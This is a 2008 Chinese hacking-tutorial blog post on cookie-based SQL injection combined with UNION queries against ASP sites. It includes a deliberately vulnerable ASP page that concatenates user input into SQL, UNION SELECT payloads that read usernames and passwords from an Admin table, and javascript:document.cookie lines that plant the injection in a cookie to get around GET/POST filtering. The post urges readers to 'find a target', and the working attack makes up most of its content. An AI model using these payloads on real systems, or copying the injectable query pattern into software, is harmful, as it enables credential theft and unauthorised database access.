网站热潮!脚本万岁!大家一起研究站点!为国家多检测俩漏洞!多补上2个洞!本站免费学习和讨论[本人也在学习中]欢迎广大网络爱好者一起讨论!
查看文章 |
让你快速学会Cookie与联合查询的注入
2008-05-07 17:48
具体的原理与分析过程我就不写了,写起来一大片,大家看的心烦我写的头痛,我就讲操作过程中的细节。隐私报告里设置处需要接受所有的cookie将安全降低。
![]() cookie值是连接后才保存到本机的,也就是关IE后. 前提条件:一、网站没有过滤cookie方式的注入。 二、需事前了解数据库的管理员表段名,计算一下注入文件数据库查询语句在数据库中的列数。 打开数据库,找到Product这个表名,计算字段数为21个。管理员表名为admin 用户与密码字段名为username、password,呵呵没有注入文件,我们可以自己构造一个测试方便大家的理解。 构造如下简单注入ASP,当然我没作什么严格的过滤,也就是接受任何方式的提交。. <!--#include file="Inc/conn.asp" --> //调用数据库连接文件 <% dim ID,sql,rs //定义函数 ID=trim(request("ID")) //接受任何形式的提交去空 if Id="" then //id为空的跳转 response.Redirect("Product.asp") end if sql="select * from Product where ID=" & ID & "" //记录集查询语句 Set rs= Server.CreateObject("ADODB.Recordset") //调用查询语句,跳到记录集id所在的指针 rs.open sql,conn,1,3 //增加记录的表达方式 1,3可读写, 乐观锁定 if rs.bof and rs.eof then //提示 BOF 或 EOF,程序出错判断 response.Write("<p>找不到此产品</p>") else %> <p><%=rs("Title")%></p> //反回指针处的内容,选取的字段与管理员的用户密码类型要相同 <p><%=rs("product_id")%></p> <p><%=rs("Price")%></p> <% end if rs.close //清空 set rs=nothing call CloseConn %> 找前图中的ID=55 构造联合查询语句 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin 将6,2分别用username、password替换 来试试cookie注入。找个目标,注入点结构与前面相近就不再分析了,仅过滤了post与get注入. 步骤一:重新打开IE,先连接到需注入的网站http://127.0.0.1/nf,也就是去除前面的链接值。注意:不要直接在前面图中的链接处操作,可以会不成功噢。 步骤二:清空地址处IE,再次在地址中加入如下 javascript:alert(document.cookie="id="+escape("56 and 1=2 union select 1, 2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin")) 再次清空IE打入http://127.0.0.1/nf/ProductShow.asp 步骤四:重复步骤一.注意此步骤必需操作,很多人失败就在这里。 步骤五:清空地址处IE,再次在地址中如下代码 javascript:alert(document.cookie="id="+escape("56 and 1=2 union select 1, username,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin")) 步骤六、再次清空地址处IE。http://127.0.0.1/nf/ProductShow.asp 好了全文结束。尽可能的多写文章与大家分享吧 |
最近读者:
